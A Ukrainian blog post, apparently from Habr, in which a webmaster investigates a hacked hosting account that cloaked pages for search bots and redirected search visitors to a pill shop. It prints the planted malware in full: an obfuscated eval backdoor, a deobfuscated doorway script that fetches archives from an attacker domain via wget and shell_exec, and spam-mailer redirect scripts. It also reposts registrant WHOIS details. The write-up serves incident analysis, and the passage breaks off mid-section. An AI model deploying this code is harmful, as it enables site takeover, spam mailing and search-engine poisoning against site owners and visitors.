Всім привіт, я вебмайстер і мене віагра



Доброго часу доби Хабр,

Заголовок звичайно ж бреше, я не вебмайстер. Точніше сказати, не можу зватися їм після події. Я розповім про те, як зламали мій хостинг і як я це подія прогледів, зауваживши лише випадково, а також трохи розслідування. Сподіваюся, мій досвід виявиться корисним. Всім кому цікаво, ласкаво просимо під кат.

Як все з'ясувалося
Про злом я дізнався зовсім випадково, оскільки всі сайти на хостингу працювали, відкривалися і виглядали велично пристойним сторінок, без зайвого вмісту. Слід зазначити, що до цього я ніколи не користувався Google Search Console, а тільки підключав Google Analytics. Але створивши чергову сторінку, я вирішив спробувати інструмент. І ось, Search Console підключений до сайту і настав час подивитися, на що він здатний.

Одна з функцій консолі це Fetch as Google, т. е запуск бота гугла на сторінках сайту, і я відразу ж його пустив на головну сайту. І тут я нічого не зрозумів… з браузера сторінка відкривається, а бот пише що сторінку не знайдено. Щось тут не так, подумав я, але продовжував запускати бота, наївно вважаючи що бот гугла зламався.


Розбираємося в події
Так як Search Console не надає детальної інформації про помилку (що дуже сумно, на мій погляд), я скористався сервісом http://web-sniffer.net, щоб проэмулировать роботу гуглбота і заодно перевірити видно сайт з іншої точки планети. Задав сайт *******.**, який повинен відкривати єдиний index.php файл, вбив капчу і отримав цю саму сторінку 404.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.</p>
<p>Additionally, a 500 Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at *******.** Port 80</address>
</body></html>


Який ще bootlegger-limiter.php подумав я і швидко підключився до хостингу. Справа в тому, що сайт *******.** лежить в підкаталозі основного сайту (який в корені). І я дійсно виявив докорінно bootlegger-limiter.php. А бота перенаправив, судячи з усього, Apache. Відкрив .htaccess, а там додані наступні рядки:

RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]


Іншими словами пошуковим ботам і людям, які перейшли на сайт з пошукових систем, показували сторінку оброблену bootlegger-limiter.php.

Ось це поворот. Вирішив подивитися заради інтересу що їм показувалося. Набрав у гуглі «site: *******.**»:



Ок гугл, все зрозуміло. Мене злегка здивувало, що бот гугла не перевіряє різницю контентів отриманих з HTTP заголовками бота і браузера chrome, наприклад. Але може я неправий і це перевіряється, тому у видачі з'явився напис, що сайт був зламаний.

Ось таким нехитрим чином можна скомпрометувати сайт в пошукових системах, а нічого не підозрюючи, власник може цього і не помітити. Я не знаю як саме зламали хостинг, оскільки на ньому не висять сайти використовують CMS. Єдиний сайт з популярним фреймворком був на Yii, але судячи з усього він тут не причому, т. к. за методом схоже що робилося все автоматично, а згаданий фреймворк складно зламати не знаючи структури сайту. Як мені здається, пароль від мого аккаунта просто пробрутфорсили. Нижче я розповім які файли мені підкинули і яку функцію вони виконували.

Розбір польоту хробака
Отже, для початку списку виконуваних файлів зозулі, коли вони були підкинуті та їх зміст:

kfcgmxuu.php — 3 квітня 2016
<?php
$catie ='v]falreE'; $greatly= 'eae';$formulation = '(';

$centralization = 'sSLuVSQ_V'; $gummy = 'a';$barrages = ')';$lawyer= ';]s]L'; $craw = '_'; $maisey ='yV]tdiVv'; $juliann='T'; $bridges= 'R';
$betoken= '$';$atheists='R';$eustacia = '^'; $bunting = 'HaSI';$hurleigh ='Rc';$lovingly =')n"th';

$cups = 'і'; $javelin= 'i';$lizard= '('; $chances = '=ej_i'; $leghorn= 'fVRcpr'; $finalized= '(';
$expounded=')V'; $bounties='Y';

$bushwhack = 'c';$big= 's6t';$dragging ='('; $appeasable='r'; $frequencies = 'a';
$dolphins ='v_sie"';
$dressers='s$VET';
$heaved='[';$frederique= 'r'; $kettle= 'T'; $fortress ='nU'; $letting ='l';$entrusted='p$i)tE[[e';
$ketti='i'; $coarsest = 'S'; $ashely ='_oZC'; $avrom ='E'; $knower='Te)E:`;$bayonets = 'a)l($ibi';$keying = 'K';$availing =';';$karmen=':T';$ingredient= '[g'; $coincides = '_'; $eyesight= 'v)re';

$iterates ='r[)_c(E';
$dissident='lvek';
$discernibility ='m'; $inclination ='(vrs;_,gS';$characterizes ='e'; $contented= 'r'; $lorrayne= '?'; $archived='g';

$ревом =';'; $deferrer= '=v(a$,e'; $indiana='fta';$krisiun= '$a$WbqUT'; $gardens= '$i"я)';
$evidenced = 'srH';$fruitfulness='"';$f='P'; $bylaw ='ad"v4_ve_';$coriss= '(ElspQ';
$cots= 'esImrvq';$lizard ='a';

$conceived ='y';$arabs=']eOX';$excretion='tu"u';$harmoniously ='r';$figured= ') ';$basful= 'vP(_'; $dapper ='o'; $asks = 'ocnes"';$indira ='t'; $jim ='?';

$coweringly = '$';$incompetent = 'o'; $bitternut = 'gr';$codes = 'd';$grasp='qnOe"$se';
$arachnids = 'VI)i(Q';$elucidate ='dQa'; $husband = $asks['1'] .$bitternut['1'] .$grasp['7'] . $elucidate['2'].$indira.$grasp['7'].$basful['3'] . $indiana[0].$excretion['3'] . $grasp[1] . $asks['1']. $indira. $arachnids['3'].$incompetent.

$grasp[1];
$iggy= $figured['1']; $aspirins= $husband($iggy, $grasp['7'] . $basful['0'] .$elucidate['2']. $coriss['2'].
$arachnids['4'].
$elucidate['2'] .$bitternut['1'] .$bitternut['1'] .
$elucidate['2'] .$conceived. $basful['3'] . $coriss['4'] .$incompetent.$coriss['4'] .$arachnids['4']. $indiana[0]. $excretion['3'].$grasp[1].$asks['1'].$basful['3'] .$bitternut[0] . $grasp['7'].$indira .$basful['3'] .

$elucidate['2'] . $bitternut['1']. $bitternut[0] . $grasp['6'] .$arachnids['4']. $arachnids['2'] .$arachnids['2'] .$arachnids['2']. $ревом);

$aspirins

($indecomposable['1'],$bylaw['4'] ,
$arachnids['2'],$basful['1'],

$karmen['0'] ,

$big[1],$evidenced['2'], $coriss['4'] ,$arachnids['2'] ,$grasp['5'].

$arachnids['3'].$deferrer['0'] .
$elucidate['2'] .$bitternut['1'].$bitternut['1'].$elucidate['2'].
$conceived .$basful['3'].

$cots['3'] .$grasp['7'].$bitternut['1'] . $bitternut[0] .

$grasp['7'] . $arachnids['4'] .$grasp['5']. $basful['3'].$leghorn['2'] .$coriss['1'] .
$elucidate['1']. $krisiun['6'] . $coriss['1'] .$inclination['8'] .$krisiun['7'] .$deferrer['5'] . $grasp['5'] . $basful['3'] .$ashely['3'].$grasp['2'] . $grasp['2'].
$keying.$arachnids[1] . $coriss['1']. $deferrer['5'] . $grasp['5']. $basful['3']. $inclination['8']. $coriss['1'] . $leghorn['2'].$arachnids['0'].$coriss['1']. $leghorn['2'] .$arachnids['2'].
$ревом . $grasp['5'].$elucidate['2'] .
$deferrer['0']. $arachnids['3'] .
$grasp['6'] .

$grasp['6'] .
$grasp['7'] .$indira .$arachnids['4'] .

$grasp['5'].$arachnids['3']. $iterates[1] .$grasp['4'].

$grasp['7'].$coriss['2'].

$basful['0']. $arachnids['3'].$basful['0'] . $grasp['6'] . $basful['0']. $grasp['0']. $grasp['4'].
$arabs[0] . $arachnids['2'].$jim .$grasp['5']. $arachnids['3'] .$iterates[1]. $grasp['4'] .

$grasp['7'] . $coriss['2'].$basful['0'] .$arachnids['3'].$basful['0'].

$grasp['6'].

$basful['0'] . $grasp['0'] .

$grasp['4']. $arabs[0] . $karmen['0'] .$arachnids['4'].
$arachnids['3'] . $grasp['6'] .$grasp['6'] .$grasp['7'].$indira. $arachnids['4'] . $grasp['5'] .

$arachnids['3'].$iterates[1].

$grasp['4'] . $evidenced['2']. $krisiun['7'] .

$krisiun['7'] . $basful['1'].

$basful['3'].$coriss['1'] .
$lawyer['4'] . $arachnids['0'].$arachnids[1]. $arachnids['0'] .$inclination['8'] . $arachnids['0'] . $elucidate['1']. $grasp['4'] .

$arabs[0] .$arachnids['2'].
$jim. $grasp['5'] . $arachnids['3']. $iterates[1].$grasp['4'] . $evidenced['2'].$krisiun['7'] .$krisiun['7'].$basful['1'] . $basful['3'] .
$coriss['1'].$lawyer['4'] . $arachnids['0'].

$arachnids[1] .$arachnids['0']. $inclination['8'] .$arachnids['0'] .$elucidate['1'].$grasp['4'] .$arabs[0]. $karmen['0'] .$elucidate['0'] .

$arachnids['3']. $grasp['7'] .$arachnids['2'] . $ревом.
$grasp['7'] . $basful['0'] .$elucidate['2'] . $coriss['2']. $arachnids['4'].
$grasp['6']. $indira. $bitternut['1'] . $bitternut['1']. $grasp['7'] .

$basful['0']. $arachnids['4'] . $krisiun['4'] .$elucidate['2'] .
$grasp['6'] . $grasp['7']. $big[1].$bylaw['4'] .$basful['3'].
$elucidate['0'] . $grasp['7']. $asks['1']. $incompetent .

$elucidate['0'] . $grasp['7'].

$arachnids['4'] .$grasp['6'].
$indira.

$bitternut['1'] .
$bitternut['1'] . $grasp['7'].$basful['0'].$arachnids['4']. $grasp['5'].$elucidate['2']. $arachnids['2'] .$arachnids['2'].$arachnids['2'] . $arachnids['2'].$ревом );

.htaccess — 5 квітня 2016
RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

bootlegger-limiter.php — 5 квітня 2016
<?php $mlksyl="\x63".chr(114)."e".chr(97).chr(116).chr(101)."_"."f".chr(117)."\x6e"."\x63".chr(116)."\x69"."\x6f"."\x6e";$ofanpm = $mlksyl('$a',strrev(';)a$(lave')); $ofanpm(strrev(';))"K0QfJkgCN0XCJkgCNoQD7YWdiRCIvh2Yllqcjkgcn0xcjkqck0qcjkqcjoqdjkqcjkqfjkqcjkgcn0xcjkqcjkgcnstltmgjjkqcjkqcjoqd7kiz1jgjscxzurclsfmdkgszjfgbwvmcp9lc0nxpmvnykkqcjkqcjkgcnszj+E2L8ciLy9Gaj5WYk4yJ+IyJuwGJuciI9YWZyhGIhxzJ9cXZuRSCJkqcjkqck0wopksxjrywztmbpxgjo0wayrhliwhf8jcklr2bsbhel1tky9gaj5wykwcbkgcdzlgbjkqcjkqcjoqd7swyljnypadpjrckgywajkqcjkqcjoqd7lcbhzhjgmxygwwy2phjog2yhvmcvzwcjkqcjkgcnstksfmd6rcklxmzmvhazlqcjkqcjoqd70fmbnxzongdh1gj9wwy2phjjkqcjkqck0wegkskzvgajrxytrcisywdircisisvpn3lwhxznvmck8iiowgbh9fajrxyt91zljhcoywajkqcjkgcnsji+E2LcxTKq4CK+oSX+41WxwFXp8jKd5DIiwlXbhSK/8jIchSPmVmcopSX+41WzxVY8ICI9ACc4V2ZlJHJJkQCJkgCNsdmy0zykkcmy4zykgcimlwcjkqcjoqd7kycr5wasrcklxmzmvhazlqcjkqck0wox0skztmbpxgjoqnb192ya1zykkqcjkqck0wopmvroletfdvro9vrs9kthl0xfxusgx3uf5usm9vwubvtf9fujt0ufvetjzel4jxdjrcklxwambupztmbpxgjjkqcjkgcnsxkpgnc1ngjomhdzlgel9vzslmzahcimlwcjkqck0woim3clnnlmzmzi4icpr2yk0deyv3ykkqcjkgcnoqd7kcbyvncjrcksjxdj9vei9vznfgcfrxzn1jz1jgjjkqcjoqd701jjjvvfr1ufvvufj1jbjvrwjvrt9fja5sxnq1uph0xqrfvidywsvkvsv0ufrcquiylvodc0rhai0dbyvncjrscjkqck0gcnoqd7v2csvwfjkqck0wo0lgellqcjkgcnszj+wWb0h2L84Tek9mYvwzJg8GajVWCJkQCK0woi4gxiailgcipznxzyrgzh9cpwgdi0j3bqbyjg4ciddcvt9esfbfvuh0jbjvrwjvrt9fjg4cinacdhbiclznclnfinailgkcku9wazjxz2bhawbilgcylqheugcciuasxnukubdfvg90ufjvrwjvrtdywsvkvsv0ufrciuayj+M3clJHZkFGPnAyboNWZJkQCJoQD7Iibcjciuayj+IHa8cCIvh2YllQCJkgCNsjIuxlIg4CIn4dcvwjlyvmdyv2cgmxaorhiu9gik5wdvzgi09mbgmxy3byjg4ciddsssv1xunvrvfvrsdywsvkvsv0ufrciuayjgwkuvbczlr3clvxcljhilhgv+AHPnAyboNWZJkQCJoQD7IibcJCIuAyJ+EDavwDZuV3bGBCdv5kPxgGPnAyboNWZJkqcjoqd7iibcjciuayj+kHZvJGP+QWYlh2L8cCIvh2YllQCJkgCNsjIuxlIg4cin4tzsrxa09cpk5wdvzei09mtgqdm04tzsrxa0xzjg8gajvwcjkqck0woi4gxiailgcipkfwzoxjps1gdoxzjg8gajvwcjkqck0woi4gxiailgcipi4urv8cmuidim1evibcrur0lvyevfl0lv0iigmusmjuvqbctnrfsgueuzr1qprui8ccivh2yllqcjkgcnstkiqmb19mrgq3bobcnwqdiiailg01jm90qpr1tsb1xsvkvsv0unslufzlufn1xkgiclrwylhwcjkqck0gcn03o0lgelttkdjcvov0rb9lufnvvfbfvuhkibjvrwjvrt9fjaxsxiifref0xfr1tnvkuislufzlufn1xk4ii9ihzkfmji4ceyvxnk1gjuisp1ziiuq3cvhwnk1gjuispkziiukyatrcklr2bj5wzsjxd3fmcuispr1mji4yajfgcelejuispwl2pwhgcuahbv4wah12bkrylvodc0rhaigcbyv3yflnyfv2zhb3x0v2zg8gajv2egkszzrckgywajkqcjoqd9lqcjkgcnsddphxz7qnblrnbvnmcv9gzkaybonwzjkqcjkgcn0xcjkqcjoqd9lqcjkqcjoqd7kcbhzhjoixzkfwzoliii0tisfmdkgizplqcjkqcjkgcnstksfmdkgsbpjhd9wwy2rscjkqcjkqck0wepwwy2rcizfgizvgc5rhjog2yhvmcvzwcjkqcjkgcnstklbxe0rnblrnbvngjsiibcjcklr2bsbhel1zclbxe0rscjkqcjkgcnstklbxe0rnblrnbvngjougzvnwzk9fn2u2chjgq9ugc5rhduvgdu92ykkqcjkqcjoqd7lcn90jzkbhjoaizplqcjkqck0qfjkqcjkgcnstkiwwb49cd4vgdgotzwlhvtqnblrnbvnkioixzkfwzolqcjkqcjoqd7lym90jzkbhjoaizplqcjkqck0qfjkqcjkgcnstkicmbw9sznfwbpbiolbxeu1cduvgdu92qigiclrwylhwcjkqcjkgcnsxky0tpmrgckgcimlwcjkqcjoqd9lqcjkqck0wopiizkb3lu9wa0f2ypxgcwfgi6ugc5rvl05wz052bdjckyvgzhvgajkqcjkqck0wepetp9ygzwrckgywajkqcjkgcnsdm9sizkbhjjkqcjkgcnshipq3birckgywajkqcjoqd7etplnhjpksxgiiufjvrgvkufbfvuhkibjvrwjvrt9fjabclik2it92yuwlbvxweifmy812bj5cxlzwyjlhzufga812bj5cxonmchv2civ2d51gft92yuw1dvdhf0vmbuwlclrnchh2y812bj5cx0lwdk52bjx3bvhwy5xhajjxylnhfhr3cpzxy0xwy812bj5cxs9wy812bj5cxrnxy812bj5cxunxb812bj5cxn5waixxzsd2bvd2iigcajrxyt91zljhcoaizplqcjkgcnstm9ugbpj2btrskp0fiiqltfduqfjvrtv1xqrfvijywsvkvsv0ufrcqgwiipnsaulwb8lmyv1gfwrwatxhchdhfl52bobhflxwai9wb8bjnzvwayv2c8rwywlgfl52bobxa85wypjwb5nhfkl2byrmbhniiog2y0fwbfdwzybhkgywajkqcjoqd7etp09mykkskdbiiu5urhf0xsv0uv9fuurfsislufzlufn1xkaeisisajixzklgczvhzpfmy8jxzsdxyyngf1jnlcxwah1gf3vwa2vmcwbiyldhilx2zv92z892bofwe8r3bixnclrwawnhflxwai9wttq3bivgbn92bhx3cyvmb0jxywfwakvwt8vgbn92bh1cdvj0ckfefyvgb3fmcj1syzdgflx2zv92zjickongdh12xnvmcwhcimlwcjkqck0wow0tzslmyv1gjjkqcjoqd7atplnhjjkqcjoqd7atp09mykkqcjkgcnkqcjkgcnstk05wz052bjj3bvrgjougzvnwzk9fn2u2chjgq9qnblrnbvnmcv9gzkkqcjkgcnstkpgnc1ngjomhduvgdu92yfrxzn9vzslmzaxii8xhfigszk9gbwhxza1tklbxe0rnblrnbvngjsygzwrcl05wz052bjj3bvrgjsswbkwyajfgcelejoq3cpxgqjkqcjoqd7lsk4jxdjrckzr3cphxzfvgbpzgqoaizplqcjoqd7gnc1vdztrilylgzjrsp4jxdjrscjkgcnsxzzxwz9lqck0qfjkqck0wo0lgeltjiux1ijmcrftkupd1ijmiig8gajvwcjkqck0wepiymi0tp4rckgywajkqck0qfjkqck0wo0lgellqcjkgcnstkk12ykgyylhxzfxgblh2cg8gajvwcjkqck0qfjkqcjoqd7iienrnlxaizy1citjhi7o3z05smgyme41ciyfgdgsjenrnlxayttaienrnli4sywrili8liuq3cvhwnk1gjuiyljjxyv4wah12bkrillrxykbxdv8iowrhdobcdld2dgsda0fgcw1gdkaczjjspk12ykkqcjkqck0wow0zkhbhjjkqcjkgcnsxkiisphegckgcimlwcjkqck0woio3z05smgymctasbybyo6dgduedimphetaichrhi7o3z05smg8ulgo3z05cdz9ga1qwbk8yyyf2lulwyt9gzk4sz0fgzwv3lvodc0rhagqxzndhi7ggdhbhctrhjgq2yi0dztngjjkqcjoqd9lqcjkgcnstkk12ykgyylhxzfxgblh2cg8gajvwcjkqcjoqd7icdz9ga1qwbk4cimjxlg0mcgsda0fgcw1gdkaczjjspk12ykkqcjkqck0wepiimi0tp4rckgywajkqcjoqd7iibcnyijmvrmlkrfdktjrvqebvvjmyiiaybonwzjkqcjoqd7lskiqji90dekgcf8liiyisp9ghjogcimlwcjkgcnoqd70lihbnibr1upb1xkauphbhjjkqck0woujxd0vmcpm3chbxnk1gj9ecckgcimlwcjkgcnstkp0liwjywun1tq9fjahszk92ylr2x0ytzzfmyoudzt1dckkqcjoqd7liii0ti4rckgywajkgcnoqd7kii0ljmzvxuzmgbsntyqzubhbhayolb1kmwigszk92ylr2x0ytzzfmy94wah12bkrscjoqd7iyli4cdz9ga1qwbk4iiu8iiuggdhbhctrhj9ixakngjjkgcnoqd9ttkp81xfxusg91xouwbh5mcprgkg0diorxywbxb0rci7bszzxwzg0xc9lwopkyxfvetjz0xfhsztfmbylgzoaspgggdhbhctrhjjsxkpggdhbhctrhjoixak91cpfckgywa7kckylgzfbxblr3x0v2zfnxezbspgggdhbhctrhj7bskpcicpr2xw1wz09fdld2xzl3cngyc0nxa4v2xu9wa0nmb1zgkgywajkgcnoqd7kceyvhjoudzt1deyvxnk1gjjkgcnstayvhjuq3cvhgj9gnc1rscjoqd7kcdz9gakgsnk1wp0n3bovdztrscjoqd7kcdz9gakwiiiwiiuc3d3jcklnwysbxzy9lc0nxp0n3borscjoqd70lijjvvfr1ufvvufjlibjvrwjvrt9fja1tayvhjjkgcnstxiq1uph0xqrfvijywsvkvsv0ufrcq9q3cvhgjjkgcnoqd7iiyzqtzmfgmyutmln2m4etywywywidoygtmwctn0uwnljspznxywvdztrscjoqd70lirnwzon2xwbhcwjywun1tq9fja1dekkqck0woiisp05wz052bjj3bvrgjjkgcnoqd9pqd7qhb1nxzyrciujxd0vmcjkgcnstkongjou2cvx2yfxmc1nwcjoqd7kcajrckgmwz4v2xsjxdjbspgqhb1nxzyrscjoqd7kcduv2zhjxzzvhjgwcvov0rbjvrtv1xub1tmjvvdbclongjoacdw9gdln3xsjxdjlqck0wopadisq1uphuwglkufz1xmn1ufrfupxkuvneisg2ykgci0b3b0v2cfxmc1nwcjoqd7kcmgwiufveuzzussvkvfx0ut9fvq9etsv1qgwcajrckgqhcvrxzz9fbyv3yjkgcnstkwmdisqvvpvutjr1xub1tmjvvdbclongjoacdw9gdln3xsjxdjlqck0wopedisivrgnltbjfvojvvuvkufrfupxkuvneisg2ykgci0b3b0v2cfxmc1nwcjoqd7kcbyvhjswkuv9fvq9etsv1qgwcajrckgqhcvrxzz9fbyv3yjkgcnstkoacdp5wafxmc1ngi9acajrscjoqd7lii2mjl3mtnvkmchzwytbsmzejl3qdox4cmuqzmvuwbvjhadbskvt2yldeiltwasbclm1evitekgyzmuczm18cdptkyldvzsbhcbbsk0yzvpdfi7ejl2acvobyc39gzul2voacmuuzlhxgbpp3bnjsp05wznfmclnxdkwcbyvhjowmc1n2x5j2xldwyw9fdldgiu9wa0nmb1zmcnoqd7kcmoqxatlgbfvwbpr3x0v2c"(edoced_46esab(lave'));?>

enthusiasms-raw.php — 9 жовтня 2016
<?php

function base64_url_decode($val) {

return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){


if(isset($_POST["chk"])){


$val = array();


$val["res"] = 1;


print json_encode($val);


}else{


$post_data = array_values(array_map('stripslashes', $_POST));


$m_data = explode("|||", base64_url_decode(strrev($post_data[0])));


if(count($m_data) > 1){



$val = array();



if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){



$val["mail"] = 1;



} else{



$val["mail"] = 0;



}



print json_encode($val);


}

}

}



if(isset($_GET) and count($_GET) > 0){

$url = "";

$redic = array_values($_GET);

foreach(str_split(base64_url_decode($redic[0])) as $letter){

if(rand(1,3) == 1){

$url .= $letter;

}else{

$url .= $letter."'+'";

}

}

?>

<html><head>

< meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]]®;">

Loading...

</body></html>

<?php } ?>

equaling-intangibles.php — 9 жовтня 2016
<?php

function base64_url_decode($val) {

return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){


if(isset($_POST["chk"])){


$val = array();


$val["res"] = 1;


print json_encode($val);


}else{


$post_data = array_values(array_map('stripslashes', $_POST));


$m_data = explode("|||", base64_url_decode(strrev($post_data[0])));


if(count($m_data) > 1){



$val = array();



if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){



$val["mail"] = 1;



} else{



$val["mail"] = 0;



}



print json_encode($val);


}

}

}



if(isset($_GET) and count($_GET) > 0){

$url = "";

$redic = array_values($_GET);

foreach(str_split(base64_url_decode($redic[0])) as $letter){

if(rand(1,3) == 1){

$url .= $letter;

}else{

$url .= $letter."'+'";

}

}

?>

<html><head>

< meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]]®;">

Loading...

</body></html>

<?php } ?>

Почнемо з самих ранніх файлів, які потрапили на сервер в квітні (kfcgmxuu.php та bootlegger-limiter.php). Вони зрозуміло обфусцированы. Тому я їх привів в читабельний вигляд і подивився що ж вони роблять.

Найпершим з'явився kfcgmxuu.php, ось що він робить.
$i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
eval(strrev(base64_decode(strrev($a)));

На сайт cookies, заголовках або в аргументах з назвою elvivsvq надсилається закодований за допомогою MIME base64 і ще перевернутий 2 рази код і виконується. Після цього моменту зловмисник отримує повний контроль над файловою системою хостингу до якої має доступ веб сервер. Це бекдор, через який все інше і буде просочуватися.

Далі за допомогою цього бекдор редагується .htaccess і додається bootlegger-limiter.php, а ось і він, деобфусцированный:

Показати код
<?php

set_time_limit(0);

function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}

$doorcontent = "";
$x = @$_POST["pppp_check"];
$md5pass = "e5e4570182820af0a183ce1520afe43b";

$host = @$_SERVER["HTTP_HOST"];
$uri = @$_SERVER["REQUEST_URI"];
$host = str_replace("www.", "", $host);
$md5host = md5($host);
$urx = $host . $uri;
$md5urx = md5($urx);

if (function_exists('sys_get_temp_dir')) {
$tmppath = sys_get_temp_dir();
if (!is_dir($tmppath)) {
$tmppath = (dirname(__FILE__));
}
} else {
$tmppath = (dirname(__FILE__));
}

$cdir = $tmppath . "/." . $md5host . "/";
$domain = "f.gghijacktest.com";

if ($x != "") {
$p = md5(base64_decode(@$_POST["p"]));
if ($p != $md5pass)
return;
$pa = @$_POST["pa"];

if (($x == "2") || ($x == "4")) {
echo "###UPDATING_FILES###\n";
if ($x == "2") {
$cmd = "cd $tmppath; rm -rf .$md5host";
echo shell_exec($cmd);
}
$cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
if ($pa != "") {
$pa+=0;
$cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
}
echo shell_exec($cmd);
exit;
}
if ($x == "3") {
echo "###WORKED###\n";
exit;
}
} else {
$curx = $cdir . $md5urx;
if (@file_exists($curx)) {
@list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));
$doorcontent = @base64_decode($doorcontent);

$bot = 0;
$se = 0;
$mobile = 0;
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ua|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"]))
$bot = 1;
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"]))
$mobile = 1;
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"]))
$se = 1;
if ($bot) {
$pdf+=0;
if ($pdf == 1) {
header("Content-Type: application/pdf");
}
if ($pdf == 2) {
header("Content-Type: image/png");
}
if ($pdf == 3) {
header("Content-Type: text/xml");
}
if ($pdf == 4) {
$contenttype = @base64_decode($contenttype);
$types = explode("\n", $contenttype);
foreach ($types as $val) {
$val = trim($val);
if ($val != "")
header($val);
}
}
echo $doorcontent;
exit;
}
if ($se) {
echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&m=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);
exit;
}

header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
echo '<html><head>' . "\n";
echo '<title>404 Not Found</title>' . "\n";
echo '</head><body>' . "\n";
echo '<h1>Not Found</h1>' . "\n";
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
echo '<hr>' . "\n";
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . 'PHP/' . phpversion() . 'Server at' . $_SERVER['HTTP_HOST'] . 'Port 80</address>' . "\n";
echo '</body></html>';
exit;
} else {


$crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
$buf = get_page_by_curl($crurl);

$curx = $cdir . "fff.sess";
if (@file_exists($curx)) {
$links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
$c = @count($links) - 1;
shuffle($links);
if ($c > 20)
$c = 20;
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
if (preg_match_all("/$regexp/siU", $buf, $matches)) {
$zval = $matches[0];
shuffle($zval);
foreach ($zval as $val) {
if ($c < 0)
break;
list($l $anchor) = explode("|||", trim($links[$c]));
$new = '<a href="' . $l . '">' . $anchor . '</a>';
$buf = str_ireplace($val, $new, $buf);
$c--;
}
}
}
echo $buf;
}
}

І коротенько що тут відбувається. По-перше, тут є перевірка пароля (як не дивно, начебто і бекдор вже є без якого або пароля а тут). Перший блок потрібен щоб перевірити чи спрацював бекдор і щоб розпаковувати файли. На момент написання статті, файли, які завантажуються з сервера зловмисника були видалені.

До речі про сервер зловмисника. Домен зареєстрований як «f.gghijacktest.com». Whois вдалося дізнатися, що він належить людині з даними:

Ім'я: Gabriel Northrup
Адреса: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
E: vlasigor3@gmail.com

Може хтось знає людину ;)

Повернемося до коду. Файли з сервера зловмисника зберігаються в тимчасовому каталозі на сервері, у мене це була папка "~/tmp" і я знайшов у ній папку з ім'ям .md5(мій домен), в якій лежали змінені сторінки мого сайту, вони потрібні тільки для ботів. Тобто в пошуковику вони відображаються як мій сайт, але з непотрібним текстом. А от якщо на сторінки сайту з пошукової системи заходить користувач, то їм відображався магазин пігулок за адресою f.gghijacktest.com/lp.php, але в адресі браузера, зрозуміло, показується мій домен.

Всіх інших, хто потрапив на сайт з пошукових систем, або безпосередньо чекала, звичайна сторінка, де посилання намагаються замінити на інші, але цього у мене не відбувалося т. к. я не знайшов у себе відповідний файл fff.sess.

А тепер розберемо .htaccess:
RewriteEngine on
